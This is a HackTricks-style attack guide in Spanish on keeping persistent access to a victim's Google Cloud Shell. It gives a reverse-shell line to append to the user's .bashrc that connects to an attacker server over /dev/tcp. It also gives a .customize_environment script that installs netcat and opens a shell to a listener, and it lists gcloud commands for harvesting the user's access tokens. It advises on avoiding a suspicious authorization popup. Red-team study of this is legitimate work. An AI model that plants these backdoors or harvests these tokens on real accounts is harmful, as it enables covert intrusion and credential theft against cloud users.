4.5 KiB
GCP - Persistencia en Cloud Shell
{{#include ../../../banners/hacktricks-training.md}}
Cloud Shell
Para más información, consulta:
{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}
Puerta trasera persistente
Google Cloud Shell te proporciona acceso a línea de comandos a tus recursos en la nube directamente desde tu navegador sin ningún costo asociado.
Puedes acceder al Cloud Shell de Google desde la consola web o ejecutando gcloud cloud-shell ssh.
Esta consola tiene algunas capacidades interesantes para los atacantes:
- Cualquier usuario de Google con acceso a Google Cloud tiene acceso a una instancia de Cloud Shell completamente autenticada (las Cuentas de Servicio pueden, incluso siendo Propietarios de la organización).
- Dicha instancia mantendrá su directorio personal durante al menos 120 días si no ocurre ninguna actividad.
- No hay capacidades para que una organización monitoree la actividad de esa instancia.
Esto significa básicamente que un atacante puede colocar una puerta trasera en el directorio personal del usuario y, siempre que el usuario se conecte al GC Shell al menos cada 120 días, la puerta trasera sobrevivirá y el atacante obtendrá un shell cada vez que se ejecute simplemente haciendo:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
Hay otro archivo en la carpeta de inicio llamado .customize_environment que, si existe, se va a ejecutar cada vez que el usuario acceda al cloud shell (como en la técnica anterior). Simplemente inserte la puerta trasera anterior o una como la siguiente para mantener la persistencia mientras el usuario use "frecuentemente" el cloud shell:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
Warning
Es importante tener en cuenta que la primera vez que se realiza una acción que requiere autenticación, aparece una ventana de autorización emergente en el navegador del usuario. Esta ventana debe ser aceptada antes de que se pueda ejecutar el comando. Si aparece una ventana emergente inesperada, podría generar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.
Esta es la ventana emergente al ejecutar gcloud projects list desde el cloud shell (como atacante) vista en la sesión del navegador del usuario:

Sin embargo, si el usuario ha utilizado activamente el cloudshell, la ventana emergente no aparecerá y puedes recopilar tokens del usuario con:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Cómo se establece la conexión SSH
Básicamente, se utilizan estas 3 llamadas a la API:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (te hará agregar tu clave pública que creaste localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (te hará iniciar la instancia)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (te dirá la IP del google cloud shell)
Pero puedes encontrar más información en https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Referencias
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
{{#include ../../../banners/hacktricks-training.md}}